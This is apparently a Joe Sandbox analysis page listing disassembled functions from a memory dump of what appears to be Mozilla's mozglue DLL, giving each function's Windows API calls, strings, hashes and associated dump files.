Opcode ID: f5915a2c99cd67d4ee75b31dc75dc9ca13a969bc10a8cee02d3713dea2d7c0b7
Instruction ID: 817723101585b0ffb8efd13071c4897f78c69f9162ef1428bf8ffe095c3d28af
Opcode Fuzzy Hash: f5915a2c99cd67d4ee75b31dc75dc9ca13a969bc10a8cee02d3713dea2d7c0b7
Instruction Fuzzy Hash: 84E04FB024D309ABEF105F25EA497223AFDE703B08F704055EA3F92A00E770C050CB50

Function 6C9DC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9DC0E9), ref: 6C9DC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9DC437
FreeLibrary.KERNEL32(?,6C9DC0E9), ref: 6C9DC44C

Strings

ntdll.dll, xrefs: 6C9DC413
NtQueryVirtualMemory, xrefs: 6C9DC431

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: ddacb2d47dbd599036f10fe6a5331ad0250b6e7330a5dab0a26e951080f3d4ef
Instruction ID: c683a1da5e6d19abbd55e2148e0031f074243a4e981e693b1657a234ff8e2fc7
Opcode Fuzzy Hash: ddacb2d47dbd599036f10fe6a5331ad0250b6e7330a5dab0a26e951080f3d4ef
Instruction Fuzzy Hash: D8E0B6716193099BDF01BF71EA187117FF8A74A30DF248156AA36D2B40EBB4E001CB90

Function 6C9D75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9D748B,?), ref: 6C9D75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9D75D7
FreeLibrary.KERNEL32(?,6C9D748B,?), ref: 6C9D75EC

Strings

ntdll.dll, xrefs: 6C9D75B3
RtlNtStatusToDosError, xrefs: 6C9D75D1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 63f6b1111fc5ad13b54434997e426d4f25512809f7b3b4266cf39578f1a347b2
Instruction ID: 0c35a341e3e7453b7de4ba8e1c7e4c0cfee8e2219792ae0bd23bfe076624bb46
Opcode Fuzzy Hash: 63f6b1111fc5ad13b54434997e426d4f25512809f7b3b4266cf39578f1a347b2
Instruction Fuzzy Hash: 06E0B671658301ABEF006FA2E848701FEFCEB4671CF309426A925D1A00EBB5D24ACF55

Function 6C9D7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9D7592), ref: 6C9D7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9D7627
FreeLibrary.KERNEL32(?,6C9D7592), ref: 6C9D763C

Strings

ntdll.dll, xrefs: 6C9D7603
NtUnmapViewOfSection, xrefs: 6C9D7621

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2e934eb3c800502bbeab8af90b80d8faca5abe6728d318f1837aac2dd9b7b9c6
Instruction ID: 90466a1aba761f7a16b7922b637baff2abaf4ad5e0e9c6e08744fa5c61362bf4
Opcode Fuzzy Hash: 2e934eb3c800502bbeab8af90b80d8faca5abe6728d318f1837aac2dd9b7b9c6
Instruction Fuzzy Hash: 7EE0B6B065D701ABDF006FA6E808705BEFCE75A75DF208116E925D2B00E7B4E005CF55

Function 6C9DBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9DBE49), ref: 6C9DBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9DBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9DBE49), ref: 6C9DBF38
RtlReAllocateHeap.NTDLL ref: 6C9DBF83
RtlFreeHeap.NTDLL ref: 6C9DBFA6

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 2c9076b28d9b5e40e46221b61386aa09198b3382ff41c93732e7ab4d52a7ddec
Instruction ID: 5b6c390fe6692bdc8d2500a040545aad0f33b59122ad91cc31dfaeb02969be83
Opcode Fuzzy Hash: 2c9076b28d9b5e40e46221b61386aa09198b3382ff41c93732e7ab4d52a7ddec
Instruction Fuzzy Hash: AA51D171A006018FE710DF69CD80BAAB7B6FF98314F2A8639D515A7B54D730F9168B81

Function 6C9C8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8EBF
free.MOZGLUE(?,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?,6C9ED734), ref: 6C9C8F46
free.MOZGLUE(?,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9BB58D,?,?,?,?,?,?,?,6C9ED734,?,?,?), ref: 6C9C8F8F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d5815f52911bccdaebdfcff228c667f3daecec2afbdb607fbb87cf9398af3807
Instruction ID: 1a56a746a8fab621ef0137893d5e4671fdfa384eb51ff7faf9c5761320358a83
Opcode Fuzzy Hash: d5815f52911bccdaebdfcff228c667f3daecec2afbdb607fbb87cf9398af3807
Instruction Fuzzy Hash: 6E5191B1B012168FEB18CF54D8806AE73B6BF45318F29052AD516AB740E731FA15CBE7

Function 6C9860E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9860F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C986180
free.MOZGLUE(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C986211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C986229
free.MOZGLUE(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C98625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C985FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C986271

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2a8349bf258989592afc8956f5e87f6d41ba5d4f51018f32b6d760fdd084686e
Instruction ID: d394cfb14edc73f770893179914603a8df1c2dc7200b5a28aae2af8a891200aa
Opcode Fuzzy Hash: 2a8349bf258989592afc8956f5e87f6d41ba5d4f51018f32b6d760fdd084686e
Instruction Fuzzy Hash: D551BCB1A122068FEB14CFA8D8907AEB7B5EF45308F24487DC616DB701E731EA19CB51

Function 6C9C27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C289A
free.MOZGLUE(?,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C2910
free.MOZGLUE(00000001,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9C2620,?,?,?,6C9B60AA,6C9B5FCB,6C9B79A3), ref: 6C9C294E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 29ee080ab9e604856598ec07d443f918c1b854e4deda37f0a67a35bd36f30c5d
Instruction ID: 73c7a31fbe1a052d6ec96234447466a5ff9de32b9e7e70920d9e27141a3a2cd3
Opcode Fuzzy Hash: 29ee080ab9e604856598ec07d443f918c1b854e4deda37f0a67a35bd36f30c5d
Instruction Fuzzy Hash: 2C41C0B1B047068FEB14CF68D98476A73FAAB45308F240939D556EB740E731E904CB63

Function 6C97CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C97D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C97D139

Strings

MOZ_CRASH(), xrefs: 6C97D187

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 47e9f9e9c15cf627a9eeb3f694dfb0ac2d1ba930f2765c18a1b7167d828e0bdf
Instruction ID: 4c38a0140d5132350c4bb6de6448a6fc692c0f2d293042436a9b2f34c475dda8
Opcode Fuzzy Hash: 47e9f9e9c15cf627a9eeb3f694dfb0ac2d1ba930f2765c18a1b7167d828e0bdf
Instruction Fuzzy Hash: 4F41F232B063168FDB18CE7C9C9436A76F5EB49B24F240139E928E7784D7B19D018BE5

Function 6C974DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C974EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C974F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C974F1E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: c1cfe315889919c67a692bcc9415c56987e36085de7d28dcf9abdfce3768a91b
Instruction ID: 89c060df157899a1d5e082f2126d7903237f0d8f5741186aa1c601dddcec26e2
Opcode Fuzzy Hash: c1cfe315889919c67a692bcc9415c56987e36085de7d28dcf9abdfce3768a91b
Instruction Fuzzy Hash: 8641BF71609705DFC725CF29C88095BB7E8BF99354F108A2DF4A587A42DB30E954CFA2

Function 6C981530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C98159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C9815BC
moz_xmalloc.MOZGLUE(-00000001,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C9815E7
free.MOZGLUE(?,?,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C981606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C98152B,?,?,?,?,6C981248,?), ref: 6C981637

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 55e9b46f0f317839b30be2e83c4ce35d6181ad57d6de5c43220004fd1a2c7452
Instruction ID: a387f4a024b500c23c8db6ce614e67a816cd62cb3fc3a4b2c1accaacbad810f6
Opcode Fuzzy Hash: 55e9b46f0f317839b30be2e83c4ce35d6181ad57d6de5c43220004fd1a2c7452
Instruction Fuzzy Hash: 6C31E572A011159BCB188E78D85087F77A9BB963747280F2DE873DBBD8EB30D9048791

Function 6C9DAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAD9D

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9EE330,?,6C99C059), ref: 6C9DAE3D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: fa5f465861ac1f0bf50ba6b50f7027f07f188ce152f24c811b11380fd3d9c486
Instruction ID: 41806599fc72ce76dd44c55db5d47c1ea4a7b3dc57f5d3f6c4deb8f1f8c6e926
Opcode Fuzzy Hash: fa5f465861ac1f0bf50ba6b50f7027f07f188ce152f24c811b11380fd3d9c486
Instruction Fuzzy Hash: 6D3166B1A006159FD714DF759C44AABBBF8EF58654F15882DE85AE7700EB34E804C7A0

Function 6C9D5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9EDCA0,?,?,?,6C9AE8B5,00000000), ref: 6C9D5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9AE8B5,00000000), ref: 6C9D5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C9AE8B5,00000000), ref: 6C9D5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C9AE8B5,00000000), ref: 6C9D5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9AE8B5,00000000), ref: 6C9D5FD6

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 989f7cf4772734ef7c8dff4a603e1a8a1d984d54e86280932a1c4cfe171900a0
Instruction ID: f47c57dac659bbeff7c80d292dd67c28c4b0795fb2c22f9a2290fe7ee1df19ab
Opcode Fuzzy Hash: 989f7cf4772734ef7c8dff4a603e1a8a1d984d54e86280932a1c4cfe171900a0
Instruction Fuzzy Hash: 10312774300A008FD714CF29C898F2ABBF9FF89319B658558E5668BB95C731EC51CB91

Function 6C97B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C97B532
moz_xmalloc.MOZGLUE(?), ref: 6C97B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C97B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C97B57E
free.MOZGLUE(00000000), ref: 6C97B58F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec27258fdf4cc306c1d97a9d67ccfa67e2757f837df384f212dd5eaf462ee230
Instruction ID: b987d3a34324cb4fdd0df279113a6fbb8dfc7d476a1a9b2a359600f211c06eb7
Opcode Fuzzy Hash: ec27258fdf4cc306c1d97a9d67ccfa67e2757f837df384f212dd5eaf462ee230
Instruction Fuzzy Hash: 1F210571A052059BDB108F68CC40BAEBBB9FF96308F284129E818DB341E736D911C7A0

Function 6C97B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C97B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C97B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C97B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97B849

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 3bd3f2f24437b2a73a52e86105ad19bf8b7b6b595642aa9be3fe13e343a147ff
Instruction ID: 53c370305e8e92474c09425bdebfb9f245d92519203a1815107fa807071b59a7
Opcode Fuzzy Hash: 3bd3f2f24437b2a73a52e86105ad19bf8b7b6b595642aa9be3fe13e343a147ff
Instruction Fuzzy Hash: 4C214BB0E00209DFDF14DFA9D8855FEBBB4EF59218F188169EC15A7301E731A944CBA1

Function 6C9D6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9D6E78

Part of subcall function 6C9D6A10: InitializeCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6A68
Part of subcall function 6C9D6A10: GetCurrentProcess.KERNEL32 ref: 6C9D6A7D
Part of subcall function 6C9D6A10: GetCurrentProcess.KERNEL32 ref: 6C9D6AA1
Part of subcall function 6C9D6A10: EnterCriticalSection.KERNEL32(6C9FF618), ref: 6C9D6AAE
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9D6AE1
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9D6B15
Part of subcall function 6C9D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9D6B65
Part of subcall function 6C9D6A10: LeaveCriticalSection.KERNEL32(6C9FF618,?,?), ref: 6C9D6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9D6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9D6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9D6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9D6EFF

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: badba5afd2cb69791276d01049d5e0b20202bd1a2f0523bf3c947058737b2b08
Instruction ID: a1cae7109e4081636d98aa688912ce26b4e42d1d215e87137d4b9f18ff52c18d
Opcode Fuzzy Hash: badba5afd2cb69791276d01049d5e0b20202bd1a2f0523bf3c947058737b2b08
Instruction Fuzzy Hash: AF21C771A042199FDB00CF69D88469E77F8EF88308F048439E80997240DB349A58CF92

